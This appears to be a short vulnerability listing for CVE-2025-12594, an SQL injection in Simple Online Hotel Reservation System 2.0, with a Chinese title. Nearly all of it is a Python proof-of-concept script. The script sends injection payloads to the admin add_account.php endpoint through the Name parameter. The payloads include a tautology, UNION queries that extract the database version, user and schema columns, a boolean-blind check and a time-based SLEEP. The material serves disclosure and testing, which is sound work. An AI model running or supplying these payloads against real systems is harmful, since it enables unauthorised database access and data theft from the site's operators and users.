CVE-2025-12594 Simple Online Hotel Reservation System 2.0 SQL注入漏洞

# CVE-2025-12594 SQL Injection PoC # Target: Simple Online Hotel Reservation System 2.0 # Endpoint: /admin/add_account.php # Parameter: Name import requests import sys target_url = "http://target.com/admin/add_account.php" # SQL Injection Payloads payloads = [ # Basic SQL injection test "admin' OR '1'='1", # UNION-based injection to extract database info "admin' UNION SELECT NULL,version(),user(),database()-- -", # Extract admin tables "admin' UNION SELECT NULL,table_name,column_name FROM information_schema.columns WHERE table_name='admin'-- -", # Blind boolean-based injection "admin' AND (SELECT COUNT(*) FROM admin) > 0-- -", # Time-based blind injection "admin'; SLEEP(5)-- -" ] def test_sqli(payload): data = { 'Name': payload, 'Email': '[email protected]', 'Password': 'test123', 'submit': 'Add' } try: response = requests.post(target_url, data=data, timeout=10) if 'error' in response.text.lower() or response.status_code != 200: return True except: pass return False # Main execution if __name__ == "__main__": print(f"[*] Testing CVE-2025-12594 SQL Injection") print(f"[*] Target: {target_url}") for payload in payloads: print(f"[*] Testing payload: {payload}") if test_sqli(payload): print(f"[!] Vulnerability confirmed with payload: {payload}") break print("[*] Testing complete")